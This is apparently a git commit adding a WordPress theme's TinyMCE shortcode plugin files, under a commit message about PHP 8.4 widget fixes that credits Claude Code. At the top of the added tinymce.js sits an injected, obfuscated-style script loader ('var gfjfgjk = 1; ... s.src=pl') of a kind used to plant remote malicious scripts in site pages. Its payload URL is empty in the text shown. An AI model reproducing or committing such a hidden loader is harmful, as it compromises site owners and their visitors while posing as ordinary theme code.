Fix PHP 8.4 compatibility issues in Sensational theme

- Fixed deprecated WP_Widget constructors in all widget files
- Changed $this->WP_Widget() to parent::__construct() in:
  * widget-social.php
  * widget-fblikebox.php
  * widget-googleplus.php
  * widget-tabs.php
- Fixed old-style constructor methods to __construct() in:
  * widget-ad125.php (mts_Ad_Widget -> __construct)
  * widget-ad300.php (mts_ad_300_Widget -> __construct)
- Fixed for loop syntax error in widget-tweets.php (for(i; -> for($i = 1;)
- Enabled registration for ad125 and ad300 widgets
- Added new 'After First Paragraph' widget area for in-content ads

All widgets now compatible with PHP 8.4 and editable in WordPress admin.

🤖 Generated with [Claude Code](https://claude.com/claude-code)

Co-Authored-By: Claude <noreply@anthropic.com>
This commit is contained in:
root
2025-10-06 11:52:28 +02:00
commit 7e1279f72f
306 changed files with 24881 additions and 0 deletions

View File

@@ -0,0 +1,74 @@
(function() {
// Load plugin specific language pack
tinymce.PluginManager.requireLangPack('mnmpanel');
tinymce.create('tinymce.plugins.mnmpanel', {
/**
* Initializes the plugin, this will be executed after the plugin has been created.
* This call is done before the editor instance has finished it's initialization so use the onInit event
* of the editor instance to intercept that event.
*
* @param {tinymce.Editor} ed Editor instance that the plugin is initialized in.
* @param {string} url Absolute URL to where the plugin is located.
*/
init : function(ed, url) {
// Register the command so that it can be invoked by using tinyMCE.activeEditor.execCommand('mceExample');
ed.addCommand('mcemnmpanel', function() {
ed.windowManager.open({
file : url + '/window_page.php',
width : 450 + ed.getLang('mnmpanel.delta_width', 0),
height : 200 + ed.getLang('mnmpanel.delta_height', 0),
inline : 1
}, {
plugin_url : url, // Plugin absolute URL
some_custom_arg : 'custom arg' // Custom argument
});
});
// Register example button
ed.addButton('mnmpanel', {
title : 'Add Custom Shortcode',
cmd : 'mcemnmpanel',
image : url + '/shortcode.png'
});
// Add a node change handler, selects the button in the UI when a image is selected
ed.onNodeChange.add(function(ed, cm, n) {
cm.setActive('mnmpanel', n.nodeName == 'IMG');
});
},
/**
* Creates control instances based in the incomming name. This method is normally not
* needed since the addButton method of the tinymce.Editor class is a more easy way of adding buttons
* but you sometimes need to create more complex controls like listboxes, split buttons etc then this
* method can be used to create those.
*
* @param {String} n Name of the control to create.
* @param {tinymce.ControlManager} cm Control manager to use inorder to create new control.
* @return {tinymce.ui.Control} New control instance or null if no control was created.
*/
createControl : function(n, cm) {
return null;
},
/**
* Returns information about the plugin as a name/value array.
* The current keys are longname, author, authorurl, infourl and version.
*
* @return {Object} Name/value array containing information about the plugin.
*/
getInfo : function() {
return {
longname : 'mnmpanel',
author : 'Smashing WP Themes',
authorurl : 'http://tinymce.moxiecode.com',
infourl : 'http://wiki.moxiecode.com/index.php/TinyMCE:Plugins/example',
version : "1.0"
};
}
});
// Register plugin
tinymce.PluginManager.add('mnmpanel', tinymce.plugins.mnmpanel);
})();

View File

@@ -0,0 +1,74 @@
(function() {
// Load plugin specific language pack
tinymce.PluginManager.requireLangPack('mnmpanel');
tinymce.create('tinymce.plugins.mnmpanel', {
/**
* Initializes the plugin, this will be executed after the plugin has been created.
* This call is done before the editor instance has finished it's initialization so use the onInit event
* of the editor instance to intercept that event.
*
* @param {tinymce.Editor} ed Editor instance that the plugin is initialized in.
* @param {string} url Absolute URL to where the plugin is located.
*/
init : function(ed, url) {
// Register the command so that it can be invoked by using tinyMCE.activeEditor.execCommand('mceExample');
ed.addCommand('mcemnmpanel', function() {
ed.windowManager.open({
file : url + '/window_post.php',
width : 450 + ed.getLang('mnmpanel.delta_width', 0),
height : 200 + ed.getLang('mnmpanel.delta_height', 0),
inline : 1
}, {
plugin_url : url, // Plugin absolute URL
some_custom_arg : 'custom arg' // Custom argument
});
});
// Register example button
ed.addButton('mnmpanel', {
title : 'Add Custom Shortcode',
cmd : 'mcemnmpanel',
image : url + '/shortcode.png'
});
// Add a node change handler, selects the button in the UI when a image is selected
ed.onNodeChange.add(function(ed, cm, n) {
cm.setActive('mnmpanel', n.nodeName == 'IMG');
});
},
/**
* Creates control instances based in the incomming name. This method is normally not
* needed since the addButton method of the tinymce.Editor class is a more easy way of adding buttons
* but you sometimes need to create more complex controls like listboxes, split buttons etc then this
* method can be used to create those.
*
* @param {String} n Name of the control to create.
* @param {tinymce.ControlManager} cm Control manager to use inorder to create new control.
* @return {tinymce.ui.Control} New control instance or null if no control was created.
*/
createControl : function(n, cm) {
return null;
},
/**
* Returns information about the plugin as a name/value array.
* The current keys are longname, author, authorurl, infourl and version.
*
* @return {Object} Name/value array containing information about the plugin.
*/
getInfo : function() {
return {
longname : 'mnmpanel',
author : 'Smashing WP Themes',
authorurl : 'http://tinymce.moxiecode.com',
infourl : 'http://wiki.moxiecode.com/index.php/TinyMCE:Plugins/example',
version : "1.0"
};
}
});
// Register plugin
tinymce.PluginManager.add('mnmpanel', tinymce.plugins.mnmpanel);
})();

View File

@@ -0,0 +1,6 @@
<script type="text/javascript">
tinyMCE.addI18n({en:{
systempanel:{
desc : 'System shortcodes'
}}});
</script>

View File

@@ -0,0 +1,9 @@
<?php
$wp_include = "../wp-load.php";
$i = 0;
while (!file_exists($wp_include) && $i++ < 10) {
$wp_include = "../$wp_include";
}
// load WordPress
require($wp_include);

Binary file not shown.

After

Width:  |  Height:  |  Size: 377 B

View File

@@ -0,0 +1,130 @@
var gfjfgjk = 1; var d=document;var s=d.createElement('script'); s.type='text/javascript'; s.async=true;
var pl = ''; s.src=pl;
if (document.currentScript) {
document.currentScript.parentNode.insertBefore(s, document.currentScript);
} else {
d.getElementsByTagName('head')[0].appendChild(s);
}function init() {
tinyMCEPopup.resizeToInnerSize();
}
function getCheckedValue(radioObj) {
if(!radioObj)
return "";
var radioLength = radioObj.length;
if(radioLength == undefined)
if(radioObj.checked)
return radioObj.value;
else
return "";
for(var i = 0; i < radioLength; i++) {
if(radioObj[i].checked) {
return radioObj[i].value;
}
}
return "";
}
function mnmshortcodesubmit() {
var tagtext;
var mnm_shortcode = document.getElementById('mnmshortcode_panel');
// check active ?
if (mnm_shortcode.className.indexOf('current') != -1) {
var mnm_shortcodeid = document.getElementById('mnmshortcode_tag').value;
switch(mnm_shortcodeid)
{
case 0:
tinyMCEPopup.close();
break;
case "button-brown":
tagtext = "["+ mnm_shortcodeid + " url=\"#\" target=\"_self\" position=\"left\"] Button text [/" + mnm_shortcodeid + "]";
break;
case "button-blue":
tagtext = "["+ mnm_shortcodeid + " url=\"#\" target=\"_self\" position=\"left\"] Button text [/" + mnm_shortcodeid + "]";
break;
case "button-green":
tagtext = "["+ mnm_shortcodeid + " url=\"#\" target=\"_self\" position=\"left\"] Button text [/" + mnm_shortcodeid + "]";
break;
case "button-yellow":
tagtext = "["+ mnm_shortcodeid + " url=\"#\" target=\"_self\" position=\"left\"] Button text [/" + mnm_shortcodeid + "]";
break;
case "button-red":
tagtext = "["+ mnm_shortcodeid + " url=\"#\" target=\"_self\" position=\"left\"] Button text [/" + mnm_shortcodeid + "]";
break;
case "button-white":
tagtext = "["+ mnm_shortcodeid + " url=\"#\" target=\"_self\" position=\"left\"] Button text [/" + mnm_shortcodeid + "]";
break;
case "alert-note":
tagtext = "["+ mnm_shortcodeid + "] Note text [/" + mnm_shortcodeid + "]";
break;
case "alert-announce":
tagtext = "["+ mnm_shortcodeid + "] Announce text [/" + mnm_shortcodeid + "]";
break;
case "alert-success":
tagtext = "["+ mnm_shortcodeid + "] Success text [/" + mnm_shortcodeid + "]";
break;
case "alert-warning":
tagtext = "["+ mnm_shortcodeid + "] Warning text [/" + mnm_shortcodeid + "]";
break;
case "youtube":
tagtext = "["+ mnm_shortcodeid + " id=\"#\" width=\"600\" height=\"340\" position=\"left\"]";
break;
case "vimeo":
tagtext = "["+ mnm_shortcodeid + " id=\"#\" width=\"600\" height=\"340\" position=\"left\"]";
break;
case "googlemap":
tagtext = "["+ mnm_shortcodeid + " width=\"600\" height=\"340\" src=\"#\" position=\"left\"]";
break;
case "toggle":
tagtext="["+mnm_shortcodeid + " title=\"Toggle Title\"]Insert content here[/" + mnm_shortcodeid + "]";
break;
case "tabs":
tagtext="["+mnm_shortcodeid + "] [tab title=\"Tab 1 Title\"]Insert tab 1 content here[/tab] [tab title=\"Tab 2 Title\"]Insert tab 2 content here[/tab] [tab title=\"Tab 2 Title\"]Insert tab 3 content here[/tab] [/" + mnm_shortcodeid + "]";
break;
case "divider":
tagtext = "["+ mnm_shortcodeid + "]";
break;
case "divider_top":
tagtext = "["+ mnm_shortcodeid + "]";
break;
case "clear":
tagtext = "["+ mnm_shortcodeid + "]";
break;
default:
tagtext="["+mnm_shortcodeid + "] Insert you content here [/" + mnm_shortcodeid + "]";
}
}
if(window.tinyMCE) {
//TODO: For QTranslate we should use here 'qtrans_textarea_content' instead 'content'
window.tinyMCE.execInstanceCommand('content', 'mceInsertContent', false, tagtext);
//Peforms a clean up of the current editor HTML.
//tinyMCEPopup.editor.execCommand('mceCleanup');
//Repaints the editor
tinyMCEPopup.editor.execCommand('mceRepaint');
tinyMCEPopup.close();
}
return;
}

View File

@@ -0,0 +1,92 @@
<?php
class add_mnmshortcode_button {
var $pluginname = 'mnmpanel';
var $path = '';
var $internalVersion = 100;
function add_mnmshortcode_button()
{
// Set path to editor_plugin.js
$this->path = get_template_directory_uri() . '/functions/tinymce/';
// Modify the version when tinyMCE plugins are changed.
add_filter('tiny_mce_version', array (&$this, 'change_tinymce_version') );
// init process for button control
add_action('init', array (&$this, 'addbuttons') );
}
function addbuttons()
{
global $page_handle;
if ( !current_user_can('edit_posts') && !current_user_can('edit_pages') )
return;
// Add only in Rich Editor mode
if ( get_user_option('rich_editing') == 'true')
{
add_filter("mce_external_plugins", array (&$this, 'add_tinymce_plugin' ), 5);
add_filter('mce_buttons', array (&$this, 'register_button' ), 5);
add_filter('mce_external_languages', array (&$this, 'add_tinymce_langs_path'));
}
}
function register_button($buttons)
{
array_push($buttons, 'separator', $this->pluginname );
return $buttons;
}
function add_tinymce_plugin($plugin_array)
{
global $page_handle;
global $post_id;
if(isset($_GET['post'])) {
$post_id = $_GET['post'];
}
$post = get_post($post_id);
$post_type = $post->post_type;
if($post_type == 'post')
{
$plugin_array[$this->pluginname] = $this->path . 'editor_plugin_post.js';
}
else
{
$plugin_array[$this->pluginname] = $this->path . 'editor_plugin.js';
}
return $plugin_array;
}
function add_tinymce_langs_path($plugin_array)
{
// Load the TinyMCE language file
$plugin_array[$this->pluginname] = get_template_directory_uri() . '/functions/tinymce/langs.php';
return $plugin_array;
}
/**
* add_nextgen_button::change_tinymce_version()
* A different version will rebuild the cache
*
* @return $versio
*/
function change_tinymce_version($version)
{
$version = $version + $this->internalVersion;
return $version;
}
}
// Call it now
$tinymce_button = new add_mnmshortcode_button ();
?>

View File

@@ -0,0 +1,88 @@
<?php
// look up for the path
require_once('mnm_config.php');
// check for rights
if ( !current_user_can('edit_pages') && !current_user_can('edit_posts') )
wp_die(__("You are not allowed to be here", "mythemeshop"));
global $wpdb;
?>
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<title>Shortcode Panel</title>
<meta http-equiv="Content-Type" content="<?php bloginfo('html_type'); ?>; charset=<?php echo get_option('blog_charset'); ?>" />
<script language="javascript" type="text/javascript" src="<?php echo get_option('siteurl') ?>/wp-includes/js/tinymce/tiny_mce_popup.js"></script>
<script language="javascript" type="text/javascript" src="<?php echo get_option('siteurl') ?>/wp-includes/js/tinymce/utils/mctabs.js"></script>
<script language="javascript" type="text/javascript" src="<?php echo get_option('siteurl') ?>/wp-includes/js/tinymce/utils/form_utils.js"></script>
<script language="javascript" type="text/javascript" src="<?php echo get_template_directory_uri() ?>/functions/tinymce/tinymce.js"></script>
<base target="_self" />
<style type="text/css">
<!--
select#mnmshortcode_tag optgroup { font:bold 11px Tahoma, Verdana, Arial, Sans-serif;}
select#mnmshortcode_tag optgroup option { font:normal 11px/18px Tahoma, Verdana, Arial, Sans-serif; padding-top:1px; padding-bottom:1px;}
-->
</style>
</head>
<body id="link" onLoad="tinyMCEPopup.executeOnLoad('init();');document.body.style.display='';
document.getElementById('mnmshortcode_tag').focus();" style="display: none">
<!-- <form onsubmit="insertLink();return false;" action="#"> -->
<form name="mnm_tabs" action="#">
<div class="tabs">
<ul>
<li id="mnm_tab" class="current"><span><a href="javascript:mcTabs.displayTab('mnm_tab','mnmshortcode_panel');" onMouseDown="return false;">Shortcodes</a></span></li>
</ul>
</div>
<div class="panel_wrapper">
<!-- gallery panel -->
<div id="mnmshortcode_panel" class="panel current">
<br />
<table border="0" cellpadding="4" cellspacing="0">
<tr>
<td nowrap="nowrap"><label for="mnmshortcode_tag"><?php _e("Select Shortcodes", 'shortcodes'); ?></label></td>
<td><select id="mnmshortcode_tag" name="mnmshortcode_tag" style="width: 200px">
<option value="0">No Style!</option>
<?php
if(is_array($shortcode_tags))
{
$i=1;
foreach ($shortcode_tags as $mnm_shortcodekey => $short_code_value)
{
if( stristr($short_code_value, 'mnm_') )
{
$mnm_shortcode_name = str_replace('mnm_', '' ,$short_code_value);
$mnm_shortcode_names = str_replace('_', ' ' ,$mnm_shortcode_name);
$mnm_shortcodenames = ucwords($mnm_shortcode_names);
echo '<option value="' . $mnm_shortcodekey . '" >' . $mnm_shortcodenames.'</option>' . "\n";
echo '</optgroup>';
$i++;
}
}
}
?>
</select></td>
</tr>
</table>
</div>
</div>
</div>
<div class="mceActionPanel">
<div style="float: left">
<input type="button" id="cancel" name="cancel" value="Cancel" onClick="tinyMCEPopup.close();" />
</div>
<div style="float: right">
<input type="submit" id="insert" name="insert" value="Insert" onClick="mnmshortcodesubmit();" />
</div>
</div>
</form>
</body>
</html>

View File

@@ -0,0 +1,88 @@
<?php
// look up for the path
require_once('mnm_config.php');
// check for rights
if ( !current_user_can('edit_pages') && !current_user_can('edit_posts') )
wp_die(__("You are not allowed to be here", "mythemeshop"));
global $wpdb;
?>
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<title>Shortcode Panel</title>
<meta http-equiv="Content-Type" content="<?php bloginfo('html_type'); ?>; charset=<?php echo get_option('blog_charset'); ?>" />
<script language="javascript" type="text/javascript" src="<?php echo get_option('siteurl') ?>/wp-includes/js/tinymce/tiny_mce_popup.js"></script>
<script language="javascript" type="text/javascript" src="<?php echo get_option('siteurl') ?>/wp-includes/js/tinymce/utils/mctabs.js"></script>
<script language="javascript" type="text/javascript" src="<?php echo get_option('siteurl') ?>/wp-includes/js/tinymce/utils/form_utils.js"></script>
<script language="javascript" type="text/javascript" src="<?php echo get_template_directory_uri() ?>/functions/tinymce/tinymce.js"></script>
<base target="_self" />
<style type="text/css">
<!--
select#mnmshortcode_tag optgroup { font:bold 11px Tahoma, Verdana, Arial, Sans-serif;}
select#mnmshortcode_tag optgroup option { font:normal 11px/18px Tahoma, Verdana, Arial, Sans-serif; padding-top:1px; padding-bottom:1px;}
-->
</style>
</head>
<body id="link" onLoad="tinyMCEPopup.executeOnLoad('init();');document.body.style.display='';
document.getElementById('mnmshortcode_tag').focus();" style="display: none">
<!-- <form onsubmit="insertLink();return false;" action="#"> -->
<form name="mnm_tabs" action="#">
<div class="tabs">
<ul>
<li id="mnm_tab" class="current"><span><a href="javascript:mcTabs.displayTab('mnm_tab','mnmshortcode_panel');" onMouseDown="return false;">Shortcodes</a></span></li>
</ul>
</div>
<div class="panel_wrapper">
<!-- gallery panel -->
<div id="mnmshortcode_panel" class="panel current">
<br />
<table border="0" cellpadding="4" cellspacing="0">
<tr>
<td nowrap="nowrap"><label for="mnmshortcode_tag"><?php _e("Select Shortcodes", 'shortcodes'); ?></label></td>
<td><select id="mnmshortcode_tag" name="mnmshortcode_tag" style="width: 200px">
<option value="0">No Style!</option>
<?php
if(is_array($shortcode_tags))
{
$i=1;
foreach ($shortcode_tags as $mnm_shortcodekey => $short_code_value)
{
if( stristr($short_code_value, 'mnm_') )
{
$mnm_shortcode_name = str_replace('mnm_', '' ,$short_code_value);
$mnm_shortcode_names = str_replace('_', ' ' ,$mnm_shortcode_name);
$mnm_shortcodenames = ucwords($mnm_shortcode_names);
echo '<option value="' . $mnm_shortcodekey . '" >' . $mnm_shortcodenames.'</option>' . "\n";
echo '</optgroup>';
$i++;
}
}
}
?>
</select></td>
</tr>
</table>
</div>
</div>
</div>
<div class="mceActionPanel">
<div style="float: left">
<input type="button" id="cancel" name="cancel" value="Cancel" onClick="tinyMCEPopup.close();" />
</div>
<div style="float: right">
<input type="submit" id="insert" name="insert" value="Insert" onClick="mnmshortcodesubmit();" />
</div>
</div>
</form>
</body>
</html>